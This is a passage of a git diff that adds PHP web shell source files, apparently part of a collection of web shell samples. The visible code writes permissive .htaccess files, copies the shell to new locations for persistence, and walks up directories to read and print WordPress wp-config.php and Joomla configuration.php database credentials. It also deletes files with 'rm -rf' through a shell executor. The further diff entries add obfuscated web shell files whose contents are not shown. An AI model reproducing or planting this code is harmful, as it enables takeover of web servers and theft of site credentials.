+ $i.= '' . PHP_EOL;
+ $i.= 'Order Allow,Deny' . PHP_EOL;
+ $i.= 'Allow from all' . PHP_EOL;
+ $i.= '' . PHP_EOL;
+ }
+ }
+ if (is_array($path)) {
+ foreach ($path as $k) {
+ $file = fopen($k, "w");
+ fwrite($file, $i);
+ fclose($file);
+ }
+ } else {
+ if (!empty($path)) {
+ $file = fopen($path, "w");
+ fwrite($file, $i);
+ fclose($file);
+ } else {
+ $file = fopen(".htaccess", "w");
+ fwrite($file, $i);
+ fclose($file);
+ }
+ }
+ }
+ }
+ private function setDB($file) {
+ $read = file_get_contents($file);
+ if ($read) {
+ echo $read;
+ } else {
+ echo "Unable to open file";
+ }
+ exit;
+ }
+ private function setClone($path) {
+ if (file_exists($path)) {
+ @unlink($path);
+ }
+ $source = $_SERVER['SCRIPT_FILENAME'];
+ copy($source, $path);
+ }
+ private function joomlaDb() {
+ $p1 = "../../../../../../../";
+ $p2 = "../../../../../../";
+ $p3 = "../../../../../";
+ $p4 = "../../../../";
+ $p5 = "../../../";
+ $p6 = "../../";
+ $p7 = "../";
+ $j = file_get_contents($p1 . "configuration.php");
+ if (!$j) {
+ $j = file_get_contents($p2 . "configuration.php");
+ if (!$j) {
+ $j = file_get_contents($p3 . "configuration.php");
+ if (!$j) {
+ $j = file_get_contents($p4 . "configuration.php");
+ if (!$j) {
+ $j = file_get_contents($p5 . "configuration.php");
+ if (!$j) {
+ $j = file_get_contents($p6 . "configuration.php");
+ if (!$j) {
+ $j = file_get_contents($p7 . "configuration.php");
+ if (!$j) {
+ $j = file_get_contents("configuration.php");
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ echo $j;
+ exit;
+ }
+ private function wpDb() {
+ $p1 = "../../../../../../../";
+ $p2 = "../../../../../../";
+ $p3 = "../../../../../";
+ $p4 = "../../../../";
+ $p5 = "../../../";
+ $p6 = "../../";
+ $p7 = "../";
+ $w = file_get_contents($p1 . "wp-config.php");
+ if (!$w) {
+ $w = file_get_contents($p2 . "wp-config.php");
+ if (!$w) {
+ $w = file_get_contents($p3 . "wp-config.php");
+ if (!$w) {
+ $w = file_get_contents($p4 . "wp-config.php");
+ if (!$w) {
+ $w = file_get_contents($p5 . "wp-config.php");
+ if (!$w) {
+ $w = file_get_contents($p6 . "wp-config.php");
+ if (!$w) {
+ $w = file_get_contents($p7 . "wp-config.php");
+ if (!$w) {
+ $w = file_get_contents("wp-config.php");
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ echo $w;
+ exit;
+ }
+ private function delete($file) {
+ chmod("./", 0755);
+ chmod("../", 0755);
+ chmod("../../", 0755);
+ @unlink($this->pwd() . $file);
+ $this->exe('rm -rf ' . $file);
+ $this->exe('del ' . $file);
+ }
+}
+new roin();
+?>
\ No newline at end of file
diff --git a/Obfuscated/WebShell_0ba8e8b6c1334b8335a9a9374bfb1109c0371478.php b/Obfuscated/WebShell_0ba8e8b6c1334b8335a9a9374bfb1109c0371478.php
new file mode 100644
index 0000000..d68a6bd
--- /dev/null
+++ b/Obfuscated/WebShell_0ba8e8b6c1334b8335a9a9374bfb1109c0371478.php
@@ -0,0 +1,209 @@
+
\ No newline at end of file
diff --git a/Obfuscated/WebShell_25782c2ea1db14e0131e8bcbb3e11587d66478ef.php b/Obfuscated/WebShell_25782c2ea1db14e0131e8bcbb3e11587d66478ef.php
new file mode 100644
index 0000000..2d88d63
--- /dev/null
+++ b/Obfuscated/WebShell_25782c2ea1db14e0131e8bcbb3e11587d66478ef.php
@@ -0,0 +1,65 @@
+
\ No newline at end of file
diff --git a/Obfuscated/WebShell_2d25c1677517b0926bcd6fe0cbea03a9a9cc93bb.php b/Obfuscated/WebShell_2d25c1677517b0926bcd6fe0cbea03a9a9cc93bb.php
new file mode 100644
index 0000000..387fead
--- /dev/null
+++ b/Obfuscated/WebShell_2d25c1677517b0926bcd6fe0cbea03a9a9cc93bb.php
@@ -0,0 +1,7 @@
+
diff --git a/Obfuscated/WebShell_a679659c9efa3c899462f08c78755b1c04753f73.php b/Obfuscated/WebShell_a679659c9efa3c899462f08c78755b1c04753f73.php
new file mode 100644
index 0000000..b5aabf9
--- /dev/null
+++ b/Obfuscated/WebShell_a679659c9efa3c899462f08c78755b1c04753f73.php
@@ -0,0 +1,3 @@
+
\ No newline at end of file